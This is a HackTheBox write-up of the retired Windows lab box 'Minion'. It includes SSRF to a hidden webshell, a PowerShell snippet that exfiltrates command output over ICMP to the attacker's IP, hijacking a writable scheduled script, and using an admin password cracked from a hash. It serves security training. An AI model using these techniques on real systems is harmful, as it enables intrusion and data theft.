HTB: Minion
Minion is four and a half years old, but it’s still really difficult. The steps themselves are not that hard, but the difficulty comes with the firewall that only allows ICMP out. So while I find a blind command execution relatively quickly, I’ll have to write my own shell using Python and PowerShell to exfil data over pings. The rest of the steps are also not hard on their own, just difficult to work through my ICMP shell. I’ll hijack a writable PowerShell script that runs on a schedule, and then find a password from the Administrator user in an alternative data stream on a backup file to get admin access.
Box Info
Name | Minion Play on HackTheBox |
---|---|
Release Date | 07 Oct 2017 |
Retire Date | 31 Mar 2018 |
OS | Windows |
Base Points | Insane [50] |
Rated Difficulty | |
Radar Graph | |
15:20:12 |
|
17:21:10 |
|
Creator |
Recon
nmap
nmap
finds a single open TCP port serving HTTP (62696):
oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.57
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-05 01:08 UTC
Nmap scan report for 10.10.10.57
Host is up (0.091s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE
62696/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.69 seconds
oxdf@hacky$ nmap -p 62696 -sCV -oA scans/nmap-tcpscripts 10.10.10.57
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-05 01:09 UTC
Nmap scan report for 10.10.10.57
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
62696/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry
|_/backend
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.63 seconds
Based on the IIS Version, the host is likely running Windows 8.1 or Server 2012 R2. nmap
also notes the robots.txt
.
Website - TCP 80
Site
The site is a fan-club for the Minions:
The link is an external link to the author’s blog, and otherwise there’s not much here.
nmap
did identify a robots.txt
file. It identifies the /backend
path:
User-agent: *
Disallow: /backend
Visiting that just returns:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/8.5
Set-Cookie: ASPSESSIONIDCCSDSSRA=LKPPKPACGFAOPJNAIOFNFBOD; path=/
X-Powered-By: ASP.NET
Date: Tue, 05 Apr 2022 10:52:12 GMT
Connection: close
Content-Length: 20
Instance not running
Not much I can do with that. I’ll make sure to directory brute force in this path to see if it finds anything else.
Tech Stack
The response headers show not only that the server is IIS, but also that it’s ASP.NET:
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Tue, 05 Sep 2017 15:39:06 GMT
Accept-Ranges: bytes
ETag: "4cbddf1b5d26d31:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Tue, 05 Apr 2022 01:11:11 GMT
Connection: close
Content-Length: 458
Trying to guess the index, index.html
, index.asp
, and index.aspx
all return 404 errors.
There is a comment in the HTML source:
<!--
TmVsIG1lenpvIGRlbCBjYW1taW4gZGkgbm9zdHJhIHZpdGENCm1pIHJpdHJvdmFpIHBlciB1bmEgc2VsdmEgb3NjdXJhLA0KY2jDqSBsYSBkaXJpdHRhIHZpYSBlcmEgc21hcnJpdGEu
-->
This just decodes to to the first three lines of Dante’s Inferno.
Directory Brute Force
I’ll run feroxbuster
against the site, and include -x asp,aspx
as I know it’s ASP, but I don’t know which extension. I’ll also use a all lowercase wordlist since Windows is case-insensitive:
oxdf@hacky$ feroxbuster -u http://10.10.10.57:62696 -x asp,aspx -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.5.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.57:62696
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.5.0
💲 Extensions │ [asp, aspx]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 1l 7w 41c http://10.10.10.57:62696/test.asp
301 GET 2l 10w 156c http://10.10.10.57:62696/backend => http://10.10.10.57:62696/backend/
200 GET 1l 3w 20c http://10.10.10.57:62696/backend/default.asp
[####################] - 2m 159498/159498 0s found:3 errors:0
[####################] - 2m 79749/79749 491/s http://10.10.10.57:62696
[####################] - 2m 79749/79749 491/s http://10.10.10.57:62696/backend
It finds /backend
, as well as default.asp
inside that. default.asp
is just the same “Instance not running” message.
There’s also a test.asp
in the root.
test.asp
Visiting test.asp
returns an error:
It’s suggesting I need to pass a URL (likely in the u
parameter). When I try test.asp?u=http://10.10.14.6/
, it returns a 500 error:
This means the server crashed. When I try test.asp?u=http://10.10.10.57:62696/
, it returns the Minions site:
Shell as defaultapppool
Blind RCE Via Admin Panel
Fuzz for Open Ports
It seems that test.asp
cannot access pages on my host, but it can load pages from Minion itself. I’ll use wfuzz
to try all ports, hiding any 500 responses with --hc 500
:
oxdf@hacky$ wfuzz -u http://10.10.10.57:62696/test.asp?u=http://10.10.10.57:FUZZ/ -z range,1-65535 --hc 500
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.57:62696/test.asp?u=http://10.10.10.57:FUZZ/
Total requests: 65535
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000080: 200 0 L 0 W 0 Ch "80"
000005985: 200 0 L 0 W 0 Ch "5985"
000047001: 200 0 L 0 W 0 Ch "47001"
000062696: 200 13 L 37 W 458 Ch "62696"
Total time: 7341.232
Processed Requests: 65535
Filtered Requests: 65531
Requests/sec.: 8.926974
This takes a long time to run completely, but it doesn’t take long to find port 80. Still, it’s an empty (0 character response. I’ll try the same scan, but this time using 127.0.0.1
instead of 10.10.10.57
:
oxdf@hacky$ wfuzz -u http://10.10.10.57:62696/test.asp?u=http://127.0.0.1:FUZZ/ -z range,1-65535 --hc 5
00
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.57:62696/test.asp?u=http://127.0.0.1:FUZZ/
Total requests: 65535
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000080: 200 12 L 25 W 323 Ch "80"
000005985: 200 0 L 0 W 0 Ch "5985"
000047001: 200 0 L 0 W 0 Ch "47001"
000062696: 200 13 L 37 W 458 Ch "62696"
Total time: 7341.611
Processed Requests: 65535
Filtered Requests: 65531
Requests/sec.: 8.926514
This time the response is not empty.
Both scan also find WinRM-related ports (5985 and 470001).
Site Administration
The site on localhost is titled Site Administration:
It’s a bit strange that the first four links show as visited given I’ve never been to this site before. That’s because they each lead to the current location, http://10.10.10.57:62696/test.asp?u=http://127.0.0.1:80/
.
The last one is different, leading to http://127.0.0.1/cmd.aspx
. Clicking that will lead my browser to try to load cmd.aspx
off my host, which doesn’t exist. But I can visit it via test.asp
, and it presents a simple webshell:
Interacting with Webshell
Typing “whoami” into the field and hitting enter returns an error:
Looking for closely at the previous page source, it’s super simple:
<html>
<body>
<form action="cmd.aspx" method=POST>
<p>Enter your shell command: <input type=text name=xcmd size=40> </form> </body> </html>
The action
is a POST to cmd.aspx
, and since the full path isn’t given, that targets http://10.10.10.57:62696/cmd.aspx
, which doesn’t exist. It’s also sending a parameter named xcmd
. I can see this in my failed request in Burp as well:
POST /cmd.aspx HTTP/1.1
Host: 10.10.10.57:62696
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.57:62696/
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Connection: close
Cookie: ASPSESSIONIDACQBQRTB=GEFBPLMBLIENILKPDIEMHAFA; ASPSESSIONIDCCSDSSRA=LKPPKPACGFAOPJNAIOFNFBOD; ASPSESSIONIDAASCSSQA=FECBOJBCDDJHILMFPBADGLND
Upgrade-Insecure-Requests: 1
xcmd=whoami
I can hope that this webshell accepts GET requests as well as post requests and put the parameter in the URL, and it works, kind of:
If I change whoami
to something that doesn’t exist as a command like 0xdf
, it returns “Exit Status=1”. This fits, as a successful command typically returns 0, and otherwise shows an error. So I have probably code execution, but it’s blind.
Connect Back Enumeration
When I think have blind execution, the first thing to verify it’s actually executing is to ping
my host and watch for it on tcpdump
. I’ll start it, and visit http://10.10.10.57:62696/test.asp?u=http://127.0.0.1:80/cmd.aspx?xcmd=ping%20-n%201%2010.10.14.6
. tcpdump
sees the ICMP packet:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
21:28:11.313557 IP 10.10.10.57 > 10.10.14.6: ICMP echo request, id 1, seq 268, length 40
21:28:11.313630 IP 10.10.14.6 > 10.10.10.57: ICMP echo reply, id 1, seq 268, length 40
Next I’ll try to connect back with an HTTP request. I’ll start a Python webserver, and pass powershell -c '(new-object new.webclient).downloadstring("http://10.10.14.6")'
as xcmd
, but there’s no connection. I’ll a bunch of other ports and other ways, but nothing will connect back to me except for ICMP.
Shell over HTTP/ICMP
I’m going to write a Python script that will help me leak data and enumerate this host. I’m also going to need a short Powershell blob that will:
- run a command
- capture the results
- break the results into parts
- send the results back in ICMP packets
The Python script will:
- take the input command and build the PowerShell with it
- submit that PowerShell via the webshell
- capture ICMP packets from Minion
- extract the data from the packet and print it to the screen
Scapy is a Python packet utility that can craft and sniff packets. I’ll use Scopy to handle the ICMP, and Python Cmd to make the script feel like a shell. It won’t have persistence between commands (I can’t cd
for example), but otherwise it works pretty well. This video shows the process of creating it:
The full script it here, and it runs like:
oxdf@hacky$ sudo python icmp_shell.py
minion> whoami
iis apppool\defaultapppool
minion> pwd
Path
----
C:\windows\system32\inetsrv
minion> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 8/10/2017 9:31 AM config
d---- 8/10/2017 9:31 AM en
d---- 8/10/2017 9:41 AM en-US
-a--- 10/28/2014 7:26 PM 121344 appcmd.exe
...[snip]...
Execution as decoder.MINION
Enumeration
Users / Home Dirs
The only user that looks to be a real account is decoder.MINION, making it the likely owner of user.txt
:
Minion> ls \users\
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 8/10/2017 9:43 AM .NET v2.0
d---- 8/10/2017 9:43 AM .NET v2.0 Classic
d---- 8/10/2017 9:32 AM .NET v4.5
d---- 8/10/2017 9:32 AM .NET v4.5 Classic
d---- 9/22/2017 11:33 AM Administrator
d---- 8/10/2017 9:43 AM Classic .NET AppPool
d---- 9/22/2017 11:36 AM decoder.MINION
d-r-- 8/22/2013 8:39 AM Public
I can’t access anything in that directory or the Administrator directory from this shell.
Web
I can check out the web directories. C:\inetpub\wwwroot\cmd.aspx
shows how it runs a command:
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<script runat="server">
Function RunCmd(command)
Dim res as integer
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe")
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments="/c " + command
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
res=myProcess.ExitCode
myProcess.Close()
RunCmd= res
End Function
</script>
<html>
<body>
<%
dim t as integer
if request("xcmd") <> "" then
t=RunCmd(request("xcmd"))
response.write("Exit Status=" &t)
end if
%>
<form action="cmd.aspx" method=POST>
<p>Enter your shell command: <input type=text name=xcmd size=40> </form> </body> </html>
Not much else I can do with that now. I’ll notice that test.asp
isn’t in the C:\inetpub\wwwroot
directory. It’s actually in C:\inetpub\public
:
Minion> ls -path \inetpub -Filter test.asp -recurse -erroraction silent
Directory: C:\inetpub\public
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 8/10/2017 11:22 AM 463 test.asp
So C:\inetpub\public
seems to be the server on port 62696, and C:\inetpub\wwwroot
is the one on 80 listening only on localhost.
This file does just what I thought, creating an Msxml2.ServerXMLHTTP
object and using it to make a request, and returning the page:
<%
dim objHttp,strURL
if request("u") = "" then
response.write "Missing Parameter Url [u] in GET request!"
else
set objHttp = server.CreateObject("Msxml2.ServerXMLHTTP")
strURL = Request("u")
objHttp.open "GET", strURL, False
objHttp.Send
If objHttp.status = 200 Then
Response.Expires = 90
Response.ContentType = Request("mimeType")
Response.BinaryWrite objHttp.responseBody
set objHttp = Nothing
End If
end if
%>
sysadmscripts
In the root of the file system there’s an atypical directory, sysadmscripts
:
Minion> ls \
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 9/4/2017 7:42 PM accesslogs
d---- 8/10/2017 10:43 AM inetpub
d---- 8/22/2013 8:52 AM PerfLogs
d-r-- 2/21/2022 10:47 AM Program Files
d---- 8/10/2017 9:42 AM Program Files (x86)
d---- 8/24/2017 1:28 AM sysadmscripts
d---- 9/16/2017 2:41 AM temp
d-r-- 9/4/2017 7:41 PM Users
d---- 2/21/2022 11:02 AM Windows
It’s got two files in it:
Minion> ls \sysadmscripts
Directory: C:\sysadmscripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 9/26/2017 6:24 AM 284 c.ps1
-a--- 8/22/2017 10:46 AM 263 del_logs.bat
del_logs.bat
takes three actions:
@echo off
echo %DATE% %TIME% start job >> c:\windows\temp\log.txt
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -exec bypass -nop -file c:\sysadmscripts\c.ps1 c:\accesslogs
echo %DATE% %TIME% stop job >> c:\windows\temp\log.txt
It writes start time to C:\windows\temp\log.txt
, it runs c.ps1
with the argument c:\accesslogs
, and then it writes the stop time to log.txt
. It doesn’t seem that I can read the log.txt
file, but the last write time was 4.5 minutes ago:
Minion> ls \windows\temp\log.txt
Directory: C:\windows\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 4/6/2022 7:36 PM 214690 log.txt
Minion> date
Wednesday, April 6, 2022 7:40:31 PM
After another minute or two, the time is updated:
Minion> ls \windows\temp\log.txt
Directory: C:\windows\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 4/6/2022 7:41 PM 214729 log.txt
This indicates del_logs.bat
is running every 5 minutes.
c.ps1
is a simple loop, taking the folder as an argument, getting only files (psiscontainer
returns true for directories, but not files), and then deleting them if they are older than one day:
$lifeTime=1; # days
foreach($arg in $args)
{
write-host $arg
dir $arg | where {!$_.psiscontainer} | foreach
{
if((get-date).subtract($_.LastWriteTime).Days -gt $lifeTime)
{
remove-item ($arg + '\' + $_) -force
}
}
}
Looking at the permissions on these files, del_logs.bat
seems relatively locked down, but c.ps1
is world-writable:
Minion> icacls \sysadmscripts\*
\sysadmscripts\c.ps1 NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Everyone:(F)
BUILTIN\Users:(F)
\sysadmscripts\del_logs.bat NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Everyone:(RX)
BUILTIN\Users:(RX)
Enumerate Via c.ps1
Strategy
This is where some design decisions I made with my shell make this a bit harder. My shell is based on asynchronous comms, in the sense that commands are sent up via HTTP, and then back over ICMP. I know others who solved this box uploaded PowerShell over the HTTP webshell that ran continuously, getting new commands from the ICMP replies. If I had used that strategy here, I could just put that same PowerShell in c.ps1
and get that same ICMP shell.
I’ll consider making changes to my shell. If I didn’t want to go all the way to ICMP tasking, I could run PowerShell that constantly reads from a file, executing commands in it and sending back results over ICMP, and then have commands I type use HTTP to write to that file.
decoder Desktop
Before I get to code changes, I’ll do some really basic enumeration, starting with the home directory of decoder.MINION. Noticing that the next run was less than 30 seconds away, I’ll backup the original c.ps1
and update the original to list the files on decoder.MINION’s desktop, where I expect to find user.txt
:
Minion> copy \sysadmscripts\c.ps1 \sysadmscripts\c.ps1.bak
Minion> echo 'dir C:\users\decoder.minion\desktop > C:\programdata\0xdf' > \sysadmscripts\c.ps1
After that runs, there’s data in \programdata\0xdf
:
Minion> cat \programdata\0xdf
Directory: C:\users\decoder.minion\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 9/4/2017 7:19 PM 103297 backup.zip
-a--- 8/25/2017 11:09 AM 33 user.txt
I’ll copy both those files to somewhere I can read:
Minion> echo 'copy C:\users\decoder.minion\desktop\* C:\programdata\' > \sysadmscripts\c.ps1
Once that runs, I can read user.txt
:
Minion> type \programdata\user.txt
40b949f9************************
Shell as Administrator
backup.zip
Exfil Fails
My first thought was to get this off the server by copying it into one of the web directories, and then downloading it. I believe that the web user doesn’t have write access to these folders, as they all failed:
Minion> copy C:\programdata\backup.zip C:\inetpub\public\backend\backup.zip
Minion> copy C:\programdata\backup.zip C:\inetpub\public\backup.zip
Minion> copy C:\programdata\backup.zip C:\inetpub\wwwroot\backup.zip
The file is also too large to base64 encode and copy off.
Extract on Minion
Given that, I’ll enumerate the file on Minion. Today I would use Expand-Archive
to extract the file, but that isn’t present on this host. It’s running PowerShell version 4, and that commandlet came in 5:
Minion> Get-Host | Select-Object Version
Version
-------
4.0
Instead, I can use the answer from this StackOverflow post:
Minion> Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\programdata\backup.zip', 'C:\programdata\')
There’s now a secret.exe
file in C:\programdata
.
Running it just prints the current directory:
Minion> \programdata\secret.exe
Current directory is: C:\windows\system32\inetsrv
I was considering a Beyond Root section opening this ins Ghidra, but on opening it, it’s clear there’s not much there. The entire main
function is:
int main(int _Argc,char **_Argv,char **_Env)
{
CHAR local_118 [268];
DWORD local_c;
__main();
local_c = GetCurrentDirectoryA(0x104,local_118);
printf("Current directory is: %s\n",local_118);
return 0;
}
ADS
The above executable is actually a bit of a rabbit hole, but there’s more to backup.zip
. It has an alternative data stream (ADS) in the file. I’ve dealt with ADS before, but not in a while, most recently in Nest.
I can show ADS with dir
in cmd
using the /R
switch:
Minion> cmd /C dir /R \programdata\backup.zip
Volume in drive C has no label.
Volume Serial Number is F4AB-8486
Directory of C:\programdata
09/04/2017 07:19 PM 103,297 backup.zip
34 backup.zip:pass:$DATA
1 File(s) 103,297 bytes
0 Dir(s) 3,758,153,728 bytes free
Alternatively, Get-Item
with -Streams
will also get it in PowerShell:
Minion> Get-Item \programdata\backup.zip -stream *
FileName: C:\programdata\backup.zip
Stream Length
------ ------
:$DATA 103297
pass 34
There’s a 34-byte stream called pass
on this file.
Specifying the stream name, I’ll dump the data, and see it’s a hash:
Minion> cat \programdata\backup.zip -stream pass
28a5d1e0c15af9f8fce7db65d75bbf17
Dropping that hash in to CrackStation, it identifies it as an NTLM hash, and returns the password, “1234test”:
Filesystem as Administrator
I’ll check if these creds work for the administrator with net use
, mounting the c$
share:
Minion> net use \\localhost\c$ /u:minion\administrator 1234test
The command completed successfully.
Through this share I can read the administrator’s desktop:
Minion> dir \\localhost\c$\users\administrator\desktop
Directory: \\localhost\c$\users\administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 9/26/2017 6:18 AM 386479 root.exe
-a--- 8/24/2017 12:32 AM 76 root.txt
Right away I notice the root.txt
is the wrong size. It’s a message:
Minion> cat \\localhost\c$\users\administrator\desktop\root.txt
In order to get the flag you have to launch root.exe located in this folder!
This step is put in place to exactly prevent what I’m trying to do. In order to get the flag, I’ll need to get execution as Administrator, not just read access to the desktop.
Update Shell
I’ll copy my icmp_shell.py
script and make some small changes to the PowerShell that is run via the webshell. The previous one looked like this (with added whitespace for readability):
$cmd="{cmd}"
$s=1000
$ip='10.10.14.6'
$r=[System.Text.Encoding]::ASCII.GetBytes((iex -command $cmd 2>&1|out-string))
$ping=New-Object System.Net.NetworkInformation.Ping
$opts=New-Object System.Net.NetworkInformation.PingOptions
$opts.DontFragment=$true
$i=0
while ($i -lt $r.length) {
$ping.send($ip,5000,$r[$i..($i+$s)],$opts)
$i=$i+$s
}
It takes a command and runs it using iex
(short for Invoke-Expression
). I’ll update that to:
$s=1000
$ip='10.10.14.6'
$pass="1234test"|ConvertTo-SecureString -AsPlainText -Force
$cred=New-Object System.Management.Automation.PSCredential("minion\\administrator", $pass)
$r=[System.Text.Encoding]::ASCII.GetBytes((invoke-command -computername localhost -credential $cred -scriptblock {{ {cmd} }}|out-string))
$ping=New-Object System.Net.NetworkInformation.Ping
$opts=New-Object System.Net.NetworkInformation.PingOptions
$opts.DontFragment=$true
$i=0
while ($i -lt $r.length) {
$ping.send($ip,5000,$r[$i..($i+$s)],$opts)
$i=$i+$s
}
This one instead creates a PSCredential
object with the Administrator’s creds, and then uses Invoke-Command
to run a command as Administrator.
With the new shell, commands are executed as administrator:
oxdf@hacky$ sudo python icmp_shell_admin.py
Minion> whoami
minion\administrator
If I try to run root.txt
from any random directory, it accuses me of cheating:
Minion> \users\administrator\desktop\root.exe
Are you trying to cheat me?
So I’ll cd
into the desktop dir and run it and get the flag:
Minion> cd \users\administrator\desktop\; .\root.exe
25afc18b***********************1
Alternative Flag Recovery via RE
Exfil
With filesystem access, I’ll copy root.txt
to the public
webserver folder:
Minion> copy \\localhost\c$\users\administrator\desktop\root.exe \\localhost\c$\inetpub\public\
It’s important to note that both paths are via the share. Now I can download it from http://10.10.10.57/root.exe
.
Ghidra
I’ll load the file into Ghidra, let it analyze, and then find main
. The decompile isn’t great, but it’s good enough that I can figure out what’s going on:
- It’s getting the current directory
- Compare the current directory to
C:\users\administrator\desktop
- If it doesn’t match, print “Are you trying to cheat me?” and exit.
- Call
encryptDecrypt
, taking in a weird string and maybe some other stuff (but maybe not?). - Print “1”
Looking at encryptDecrypt
, as I suspected, only the first param1
is even referenced. I’ll edit the function signature to make it look better
This one is very simple, and the decompile is good:
It’s just looping over the input string, adding 3 to each byte, and printing that character.
I can generate that myself in a Python terminal:
>>> x = '/2^c`.5_423a_.2-521/5-.26/5^.`c'
>>> ''.join([chr(ord(c)+3) for c in x])
'25afc18b756db15085428015928a1cf'
The result is 31 characters, one short of a typically HTB flag:
>>> len(''.join([chr(ord(c)+3) for c in x]))
31
But I’ll remember a 1 is printed in main
, so the flag is:
>>> ''.join([chr(ord(c)+3) for c in x]) + '1'
'25afc18b************************'